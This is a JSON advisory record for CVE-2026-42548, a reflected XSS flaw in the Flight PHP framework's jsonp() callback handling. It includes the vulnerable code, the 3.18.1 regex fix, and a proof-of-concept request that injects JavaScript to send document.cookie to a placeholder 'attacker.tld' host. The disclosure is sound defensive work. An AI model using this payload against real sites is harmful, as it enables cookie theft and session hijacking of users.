{"id":"CVE-2026-42548","aliases":["CVE-2026-42548","GHSA-fcx8-ph5r-mxr4"],"related":[],"kind":"vulnerability","state":"published","title":"Flight: Reflected XSS via unvalidated JSONP callback in Flight::jsonp()","summary":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. This vulnerability is fixed in 3.18.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `<script src=\"https://victim.tld/api?jsonp=…\">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Flight es un micro-framework extensible para PHP. Antes de la versión 3.18.1, Flight::jsonp() concatena el parámetro de consulta ?jsonp= directamente en el cuerpo de una respuesta application/javascript sin validar que el valor sea un identificador JavaScript válido. Un atacante puede inyectar JavaScript arbitrario que se ejecuta en el origen de la respuesta, lo que permite cross-site scripting reflejado. Esta vulnerabilidad se corrige en la versión 3.18.1.","source":"nvd"}],"published":"2026-05-06T21:34:15.000Z","modified":"2026-10-26T14:10:00.130Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N","rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 3.18.1","status":"affected"}],"vendor":"flightphp","product":"core","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.18.1"}],"ecosystem":"Packagist","package":"flightphp/core","purl":"pkg:composer/flightphp/core","source":"ghsa"}],"references":[{"url":"https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/flightphp/core","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-14T12:32:10.434Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42548","url":"https://www.cve.org/CVERecord?id=CVE-2026-42548","licence":"CVE Terms of Use","modified":"2026-05-14T12:32:32.147Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fcx8-ph5r-mxr4","url":"https://github.com/advisories/GHSA-fcx8-ph5r-mxr4","licence":"CC-BY-4.0","modified":"2026-05-14T20:50:58.863Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42548","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42548","licence":"Public domain","modified":"2026-10-26T14:10:00.130Z"}],"updatedAt":"2026-11-25T22:59:21.656Z","epss":{"score":0.00504,"percentile":0.36159,"date":"2026-11-30T12:00:22.000Z"}}